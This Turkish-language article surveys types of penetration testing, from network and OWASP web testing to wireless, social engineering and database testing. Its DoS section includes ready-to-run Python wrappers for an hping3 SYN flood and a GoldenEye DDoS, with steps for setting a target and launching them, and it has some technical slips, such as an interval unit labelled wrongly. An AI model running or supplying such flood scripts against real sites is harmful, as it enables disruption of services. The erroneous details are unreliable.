Ağ sızma testleri, bir kurumun veya kuruluşun bilgisayar ve ağ sistemlerine karşı olası siber saldırıları önlemek veya azaltmak için yapılan güvenlik testleridir. Ağ sızma testleri, iç ağ ve dış ağ olmak üzere iki türde yapılabilir. İç ağ sızma testleri, kurumun veya kuruluşun kendi ağında bulunan cihazlar, servisler, protokoller, veriler, hesaplar, parolalar gibi unsurların güvenliğini kontrol eder. Dış ağ sızma testleri, kurumun veya kuruluşun internet üzerinden erişilebilen sistemleri, uygulamaları, web siteleri, kablosuz ağları, yönlendiricileri gibi unsurların güvenliğini kontrol eder. Ağ sızma testleri, güvenlik uzmanları tarafından belirlenen senaryolar ve araçlar kullanılarak gerçekleştirilir. Ağ sızma testleri, sistemlerin zayıf noktalarını, açıklarını, risklerini ve iyileştirme önerilerini raporlar. Ağ sızma testleri, sistemlerin erişilebilirliğini, bütünlüğünü, gizliliğini ve performansını artırmayı amaçlar.
İç ağ sızma testleri, kurumun veya kuruluşun kendi ağında bulunan unsurların güvenliğini test etmek için yapılır. Bu testlerde, güvenlik uzmanı aşağıdaki işlemleri yapar:
- İç ağda mevcut olan IP adreslerini tespit eder. Bu sayede, ağdaki cihazların sayısını, konumunu ve bağlantı durumunu belirler.
- Ağdaki cihazlar, servisler ve protokoller için güvenlik açığı taraması yapar. Bu sayede, sistemlerin güncel olmayan, zayıf veya yanlış yapılandırılmış olabilecek unsurlarını ortaya çıkarır.
- Ağ trafiğini izler ve analiz eder. Bu sayede, ağdaki veri akışını, iletişim protokollerini, kablosuz ağ kullanımını, şifreleme seviyelerini ve potansiyel saldırı noktalarını gözlemler.
- Bulduğu güvenlik açıklarından yararlanarak, sistemlere sızmayı ve veri ele geçirmeyi dener. Bu sayede, sistemlerin savunmasızlığını, etkilenme derecesini ve zarar görme potansiyelini ölçer.
- Ağdaki paylaşımlara, sunuculara, yazıcılara, anahtarlara, yönlendiriciler ve kablosuz erişim noktalarına erişmeye çalışır. Bu sayede, sistemlerin yetkilendirme, kimlik doğrulama ve parola politikalarını test eder.
- Ağdaki yetkisiz cihazları veya yazılımları tespit eder. Bu sayede, ağın güvenliğini tehlikeye atabilecek unsurları ortadan kaldırır.
- Ağdaki aktif hesapları kontrol eder. Bu sayede, artık kullanılmayan veya gereksiz olan hesapları kapatır.
- Ağdaki parola değiştirme sıklığını kontrol eder. Bu sayede, parolaların güvenliğini ve güncelliğini sağlar.
- Yaptığı testlerin sonuçlarını ve önerilerini raporlar. Bu sayede, sistemlerin güvenlik seviyesini ve iyileştirme gereksinimlerini belgeler.
Dış ağ sızma testleri, kurumun veya kuruluşun internet üzerinden erişilebilen unsurların güvenliğini test etmek için yapılır. Bu testlerde, güvenlik uzmanı aşağıdaki işlemleri yapar:
- Ağdaki IP adreslerini tespit eder. Bu sayede, ağın internete açık olan cihazlarını, servislerini ve protokollerini belirler.
- Web sunucusunun IP adresini kontrol eder. Bu sayede, web sitesinin konumunu, durumunu ve bağlantı kalitesini ölçer.
- Yönlendiricinin ayarlarını kontrol eder. Bu sayede, yönlendiricinin güvenlik seviyesini, yapılandırmasını ve güncelliğini test eder.
- Web sitesinin güvenlik açıklarını tespit eder. Bu sayede, web sitesinin iş mantığını, veri akışını, kullanıcı arayüzünü ve sunucu iletişimini analiz eder.
- Web sitesine manuel veya otomatik olarak saldırı yapar. Bu sayede, web sitesinin web saldırılarına karşı savunmasız olup olmadığını, veri sızıntısı, veri değiştirme, veri silme gibi saldırılara karşı ne kadar korunaklı olduğunu test eder.
- Kablosuz ağı kontrol eder ve yetkisiz kullanıcı varsa çıkartır. Bu sayede, kablosuz ağın güvenliğini, şifreleme seviyesini, kimlik doğrulama mekanizmasını ve ağa bağlı cihazları test eder.
- Herkesin kullanımında olan bir cihaz için parola deneme işlemi yapar. Bu sayede, cihazın güvenliğini, parola politikasını ve parola gücünü test eder.
- Yaptığı testlerin sonuçlarını ve önerilerini raporlar. Bu sayede, sistemlerin güvenlik seviyesini ve iyileştirme gereksinimlerini belgeler.
Web Uygulama Sızma Testi
Web uygulama sızma testi, bir web sitesinin veya uygulamasının güvenliğini değerlendirmek için yapılan bir güvenlik testidir. Bu testte, güvenlik uzmanı, web sitesinin veya uygulamasının internet üzerinden erişilebilen servislerini, verilerini, işlevlerini ve açıklarını kontrol eder. Web uygulama sızma testi, OWASP Metodolojisi kılavuzunda belirtilen aşağıdaki işlem basamaklarını içerir:
- Giriş ve Hedefler: Bu aşamada, güvenlik uzmanı, testin amacını, kapsamını, yöntemini, zamanlamasını, sorumluluklarını ve raporlama formatını belirler. Ayrıca, testin hedeflediği web sitesinin veya uygulamasının genel bilgilerini, işlevlerini, teknolojilerini ve mimarisini tanımlar.
- Bilgi Toplama: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının yapısını, bileşenlerini, bağımlılıklarını, kaynaklarını, parametrelerini, kullanıcılarını ve verilerini toplar. Bu sayede, web sitesinin veya uygulamasının saldırı yüzeyini, zayıf noktalarını ve potansiyel saldırı vektörlerini belirler.
- Yapılandırma ve Dağıtım Yönetimi Sınaması: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının sunucu tarafındaki yapılandırma ve dağıtım yönetimini test eder. Bu sayede, web sitesinin veya uygulamasının güncel, güvenli ve doğru yapılandırılmış olup olmadığını, sunucu tarafındaki güvenlik açıklarını, yanlış yapılandırılmış servisleri, gereksiz dosyaları ve dizinleri, yedekleme ve günlük dosyalarını, hata mesajlarını ve meta verilerini kontrol eder.
- Kimlik Yönetimi Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının kimlik yönetimini test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcı hesaplarını, rollerini, gruplarını, izinlerini, politikalarını ve süreçlerini kontrol eder. Ayrıca, web sitesinin veya uygulamasının kullanıcı hesaplarının oluşturulması, değiştirilmesi, silinmesi, askıya alınması, kurtarılması ve yönetilmesi gibi işlemlerini test eder.
- Kimlik Doğrulama Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının kimlik doğrulama mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların kimliğini doğrulamak için kullandığı yöntemleri, protokolleri, algoritmaları, parolaları, oturum açma formlarını, çerezleri, jetonları, sertifikaları ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının kimlik doğrulama işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Yetkilendirme Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının yetkilendirme mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların erişim haklarını ve kısıtlamalarını yönetmek için kullandığı yöntemleri, politikaları, kuralları, rolleri, grupları, izinleri ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının yetkilendirme işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Oturum Yönetimi Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının oturum yönetimini test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların oturumlarını açmak, sürdürmek, kapatmak ve yönetmek için kullandığı yöntemleri, protokolleri, çerezleri, jetonları, zaman aşımlarını, oturum kimliklerini ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının oturum yönetimi işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Giriş Doğrulama Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının giriş doğrulama mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların girdikleri verileri doğrulamak, filtrelemek, kodlamak, dönüştürmek ve işlemek için kullandığı yöntemleri, fonksiyonları, kütüphaneleri, parametreleri ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının giriş doğrulama işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Hata İşleme: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının hata işleme mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının beklenmedik durumlarda, hatalarda, istisnalarda, kesintilerde ve saldırılarda nasıl davrandığını, hangi mesajları, kodları, verileri ve bilgileri gösterdiğini, nasıl kayıt tuttuğunu ve nasıl iyileştirme yaptığını kontrol eder.
- Şifreleme: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının şifreleme mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının verileri, iletişimi, parolaları, oturumları, jetonları, sertifikaları ve diğer unsurları şifrelemek, şifresini çözmek, imzalamak ve doğrulamak için kullandığı yöntemleri, algoritmaları, anahtarları, protokolleri ve standartları kontrol eder. Ayrıca, web sitesinin veya uygulamasının şifreleme işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- İş Mantığı Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının iş mantığını test eder. Bu sayede, web sitesinin veya uygulamasının işlevlerini, süreçlerini, kurallarını, kısıtlamalarını, senaryolarını ve akışlarını kontrol eder. Ayrıca, web sitesinin veya uygulamasının iş mantığı işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- İstemci Tarafı Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının istemci tarafını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcı arayüzünü, tarayıcıyı, eklentileri, uygulamaları, çerezleri, yerel depolamayı, javascript kodu, HTML, CSS, flash, vb. gibi unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının istemci tarafı işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
Mobil Uygulama Sızma Testi
Mobil uygulama sızma testi, akıllı telefonlar, tabletler ve diğer mobil cihazlarda çalışan uygulamaların güvenliğini ölçmek için yapılan bir güvenlik testidir. Bu testte, güvenlik uzmanı, mobil uygulamaların kodunu, veri depolamasını, şifrelemesini, izinlerini, ağ trafiğini ve diğer unsurlarını inceler. Bu sayede, mobil uygulamaların siber saldırılara karşı ne kadar dayanıklı olduğunu, veri sızıntısı, veri değiştirme, veri silme, kötü amaçlı yazılım bulaştırma, yetkisiz erişim, kimlik avı gibi saldırılara karşı ne kadar korunaklı olduğunu test eder. Mobil uygulama sızma testi, mobil cihazlar ve uygulamalar üzerinde bulunan hassas bilgileri, işlevleri ve servisleri güvenli hale getirmeyi amaçlar.
Kritik Altyapı Sistemleri Sızma Testleri
Kritik altyapı sistemleri sızma testleri, bir ülkenin hayati öneme sahip olan sistemlerinin güvenliğini değerlendirmek için yapılan güvenlik testleridir. Bu testlerde, güvenlik uzmanı, kritik altyapı sistemlerinin enerji, iletişim, finans, sağlık, gıda, su, ulaşım, tehlikeli maddeler ve hükümet gibi sektörlerde kullanılan alt sistemlerini, verilerini, işlevlerini ve açıklarını kontrol eder. Kritik altyapı sistemleri sızma testleri, bu sistemlerin siber saldırılara karşı ne kadar dayanıklı olduğunu, veri sızıntısı, veri değiştirme, veri silme, kötü amaçlı yazılım bulaştırma, yetkisiz erişim, kimlik avı gibi saldırılara karşı ne kadar korunaklı olduğunu test eder. Kritik altyapı sistemleri sızma testleri, bu sistemlerin işlevselliğini, güvenilirliğini ve dayanıklılığını artırmayı amaçlar.
Hizmet Engelleme ve Yük Testi
DDoS saldırıları, bir kurumun internet sistemine çok sayıda istek göndererek onu yavaşlatan veya çalışamaz hale getiren saldırılardır. Bu saldırılar, kurumun çevrimiçi hizmetlerine erişimi engelleyerek zarar verir. DDoS saldırıları günümüzde çok yaygın bir saldırı yöntemidir. DoS ve DDoS saldırılarının amacı, sistemin normal çalışmasını bozmaktır. DoS/DDoS testleri, bu saldırılara karşı sistemlerin veya uygulamaların ne kadar dayanıklı olduğunu test etmeye ve olası sorunları çözmeye yardımcı olur.
DOS saldırılarını test etmek için hping3¹ adlı bir araç kullanabilirsiniz. Bu araç, paketleri özelleştirmenize ve sunucuya gönderme hızını ayarlamanıza olanak sağlar. Ayrıca, güvenlik duvarı testi, işletim sistemi parmak izi, ağ testi, port tarama, çalışma süresi tahmini gibi birçok işlemi yapmanıza yardımcı olur. Bir Python kodu örneği aşağıdaki gibidir:
# hping3 ile bir web sitesine DOS saldırısı yapmak için bir kod örneği
# Bu kod sadece eğitim amaçlıdır ve gerçek bir saldırı için kullanılmamalıdır
import os
# Hedef web sitesinin adresi
target = "www.example.com"
# Hedef web sitesinin IP adresi
target_ip = os.popen("host " + target + " | grep 'has address' | cut -d' ' -f4").read()
# Hedef web sitesine gönderilecek paket sayısı
packet_count = 1000
# Hedef web sitesine gönderilecek paket boyutu (bayt)
packet_size = 1000
# Hedef web sitesine gönderilecek paketlerin aralığı (milisaniye)
packet_interval = 10
# Hping3 komutu
command = f"hping3 -c {packet_count} -d {packet_size} -i u{packet_interval} -S -p 80 {target_ip}"
# Komutu çalıştır
os.system(command)
DDOS saldırılarını test etmek için GoldenEye adlı bir araç kullanabilirsiniz. Bu araç, HULK¹ temelinde oluşturulmuş bir açık kaynaklı DDOS saldırı testi yazılımıdır. Bu araç, sadece paket göndermekle kalmaz, aynı zamanda kullanıcıların sunucuya bağlı kalmasını da simüle eder. Bu araç, ağ ve uygulamalar üzerinde stres testi yapmak için idealdir. Bir Python kodu örneği aşağıdaki gibidir:
# GoldenEye ile bir web sitesine DDOS saldırısı yapmak için bir kod örneği
# Bu kod sadece eğitim amaçlıdır ve gerçek bir saldırı için kullanılmamalıdır
import os
# Hedef web sitesinin adresi
target = "http://www.example.com"
# Saldırıya katılacak iş parçacığı sayısı
thread_count = 100
# GoldenEye komutu
command = f"python goldeneye.py {target} -w {thread_count}"
# Komutu çalıştır
os.system(command)
Bu iki kod, hping3 ve GoldenEye adlı iki araç kullanarak bir web sitesine DOS ve DDOS saldırısı yapmak için yazılmıştır. Bu araçlar, web sitesinin performansını ve dayanıklılığını test etmek için kullanılabilir, ancak yalnızca eğitim amaçlıdır. Bu kodları çalıştırmak için, aşağıdaki adımları izleyebilirsiniz:
- Öncelikle, hping3 ve GoldenEye araçlarını indirmeniz ve kurmanız gerekir. Bu araçlar, Linux işletim sistemi için tasarlanmıştır, ancak Windows veya Mac üzerinde de çalıştırabilirsiniz. Bu araçları indirin.
- Sonra, Python programlama dili ve os modülünü bilgisayarınıza yüklemeniz gerekir. Python, bu kodları çalıştırmak için kullanılan bir dildir. Os modülü, işletim sistemi ile etkileşim kurmak için kullanılan bir kütüphanedir. Python ve os modüllerini yükleyin.
- Daha sonra, bu kodları bir metin editörü ile açmanız ve hedef web sitesinin adresini, IP adresini, paket sayısını, paket boyutunu, paket aralığını ve iş parçacığı sayısını istediğiniz gibi değiştirmeniz gerekir. Bu değerler, saldırının gücünü ve süresini belirler. Ancak, bu değerleri çok yüksek yapmamalısınız, çünkü bu, web sitesine zarar verebilir veya bilgisayarınızı yavaşlatabilir.
- Son olarak, bu kodları bir terminal veya komut satırı ile çalıştırmanız gerekir. Terminal veya komut satırı, bilgisayarınızda programları çalıştırmak için kullanabileceğiniz bir arayüzdür. Bu kodları çalıştırmak için, terminal veya komut satırını açın ve kodların bulunduğu klasöre gidin. Sonra, aşağıdaki komutları yazın ve enter tuşuna basın:
- python hping3.py
- python goldeneye.py
Bu kodları çalıştırdığınızda, hedef web sitesine saldırı başlayacaktır. Saldırı sırasında, terminal veya komut satırında gönderilen ve alınan paketlerin sayısını ve içeriğini görebilirsiniz. Saldırıyı durdurmak için, terminal veya komut satırında Ctrl+C tuşlarına basabilirsiniz.
Bulut (Cloud) Sızma Testi
Bulut sızma testi, bulut sisteminde depolanan veri ve programların güvenliğini kontrol etmek için yapılan bir güvenlik testidir. Bulut sızma testi, bulut sisteminin zayıf noktalarını, güvenlik açıklarını ve saldırılara karşı savunmasızlığını tespit etmeyi amaçlar. Bulut sızma testi, bulut sisteminin güvenliğini artırmak, veri kaybını önlemek ve yasal uyumluluğu sağlamak için önemlidir.
Kablosuz Ağ (Wireless) Sızma Testi
Kablosuz ağ sızma testi, bir kurumun kablosuz ağının güvenliğini ölçmek için yapılan bir güvenlik testidir. Kablosuz ağ sızma testi, kablosuz ağa bağlı cihazların, erişim noktalarının, şifreleme yöntemlerinin ve protokollerin güvenlik seviyesini belirlemek için çeşitli teknikler kullanır. Kablosuz ağ sızma testi, kablosuz ağın saldırganlar tarafından ele geçirilmesini, verilerin çalınmasını veya bozulmasını, ağ performansının düşmesini veya kesilmesini önlemek için yapılır. Kablosuz ağ sızma testi, kablosuz ağın güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar.
Android İçin Nmap Wrapper Üzerinden Kablosuz Ağ Sızma Testi
Android için Nmap Wrapper uygulaması, Nmap adlı popüler bir ağ tarama aracını Android cihazlarda kullanmaya yarayan bir uygulamadır. Nmap, ağdaki cihazları, açık portları, çalışan servisleri, işletim sistemlerini, güvenlik duvarlarını ve daha birçok bilgiyi tespit etmek için kullanılan bir araçtır. Nmap Wrapper uygulaması, Nmap'in komut satırı arayüzünü Android cihazlarda kullanıcı dostu bir şekilde sunar. Nmap Wrapper uygulaması ile kablosuz ağ sızma testi yapmak için aşağıdaki adımları izleyebilirsiniz:
1. Nmap Wrapper uygulamasını Google Play Store'dan indirin ve kurun. Uygulamayı açın ve izinleri verin.
2. Uygulamanın ana ekranında, taramak istediğiniz ağın IP adresini veya CIDR aralığını girin. Örneğin, 192.168.1.0/24 gibi. Ayrıca, tarama seçeneklerini belirlemek için sağ üst köşedeki menü simgesine dokunabilirsiniz. Burada, tarama hızını, tarama tipini, port aralığını, ekstra Nmap parametrelerini ve çıktı formatını seçebilirsiniz. Tarama tipi olarak, SYN, ACK, UDP, FIN, XMAS, NULL, CONNECT veya CUSTOM seçeneklerinden birini seçebilirsiniz. Ekstra Nmap parametreleri olarak, Nmap'in desteklediği herhangi bir parametreyi girebilirsiniz. Örneğin, -sV, -O, -A, -T4 gibi. Çıktı formatı olarak, XML, HTML, JSON veya TEXT seçeneklerinden birini seçebilirsiniz. Tarama seçeneklerini belirledikten sonra, TAMAM'a dokunun.
3. Taramayı başlatmak için, TARA butonuna dokunun. Tarama süresi, ağın büyüklüğüne, tarama hızına, tarama tipine ve ekstra Nmap parametrelerine bağlı olarak değişebilir. Tarama bittiğinde, uygulama size tarama sonuçlarını gösterecektir. Burada, ağdaki cihazların IP adreslerini, MAC adreslerini, işletim sistemlerini, açık portlarını, çalışan servislerini, banner bilgilerini, güvenlik duvarı durumlarını ve daha birçok bilgiyi görebilirsiniz. Ayrıca, tarama sonuçlarını kaydetmek, paylaşmak veya silmek için sağ alt köşedeki menü simgesine dokunabilirsiniz.
4. Tarama sonuçlarını inceleyerek, kablosuz ağın güvenlik durumunu değerlendirebilirsiniz. Ağdaki cihazların zayıf şifreleme yöntemleri, güncel olmayan işletim sistemleri, açık portlar, çalışan servisler, banner bilgileri, güvenlik duvarı durumları gibi bilgileri, ağın saldırılara karşı savunmasız olup olmadığını anlamak için kullanabilirsiniz. Ayrıca, ağdaki cihazlara yönelik daha detaylı sızma testleri yapmak için, Nmap Wrapper uygulamasının sunduğu ekstra Nmap parametrelerini kullanabilirsiniz. Örneğin, -sV parametresi ile servis versiyonlarını, -O parametresi ile işletim sistemi tespiti yapabilirsiniz. -A parametresi ile de ağdaki cihazlara yönelik kapsamlı bir sızma testi yapabilirsiniz.
Sosyal Mühendislik Testleri
Sosyal mühendislik testleri, bir kurumun güvenliğini etkileyebilecek çalışanların davranışlarını ve bilgilerini test etmek için yapılan bir güvenlik testidir. Sosyal mühendislik testleri, çalışanların güvenlik konusunda ne kadar bilinçli, dikkatli ve eğitimli olduklarını ölçer. Sosyal mühendislik testleri, çalışanlara sahte e-postalar, telefon aramaları, web siteleri, fiziksel erişim gibi yöntemlerle saldırgan rolü oynayarak, onlardan hassas veya gizli bilgileri vermelerini, zararlı dosyaları açmalarını veya güvenlik politikalarını ihlal etmelerini ister. Sosyal mühendislik testleri, çalışanların bu tür saldırılara nasıl tepki verdiklerini, hangi hataları yaptıklarını ve nasıl daha güvenli davranabileceklerini raporlar. Sosyal mühendislik testleri, kurumun güvenlik kültürünü geliştirmek, çalışanların güvenlik farkındalığını artırmak ve sosyal mühendislik saldırılarını önlemek için yapılır.
Veri Tabanı Sistemlerine Yönelik Güvenlik Testleri
Veri tabanı sistemlerine yönelik güvenlik testleri, bir kurumun veri tabanı sistemlerinin güvenliğini ölçmek için yapılan bir güvenlik testidir. Veri tabanı sistemlerine yönelik güvenlik testleri, ORACLE, MSSQL, MySQL gibi farklı veri tabanı sistemlerini destekler. Veri tabanı sistemlerine yönelik güvenlik testleri, veri tabanı sistemlerine yetkili kullanıcı olarak erişerek, veri tabanı yapılandırmasını, veri tabanı güvenlik politikalarını, veri tabanı yedekleme ve kurtarma işlemlerini, veri tabanı izleme ve denetim mekanizmalarını, veri tabanı saldırı senaryolarını ve veri tabanı güvenlik zafiyetlerini kontrol eder. Veri tabanı sistemlerine yönelik güvenlik testleri, veri tabanı sistemlerinin güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar. Veri tabanı sistemlerine yönelik güvenlik testleri, veri tabanı sistemlerinin güvenliğini sağlamak, veri kaybını veya sızıntısını önlemek, veri tabanı performansını ve verimliliğini artırmak, yasal uyumluluğu sağlamak için yapılır.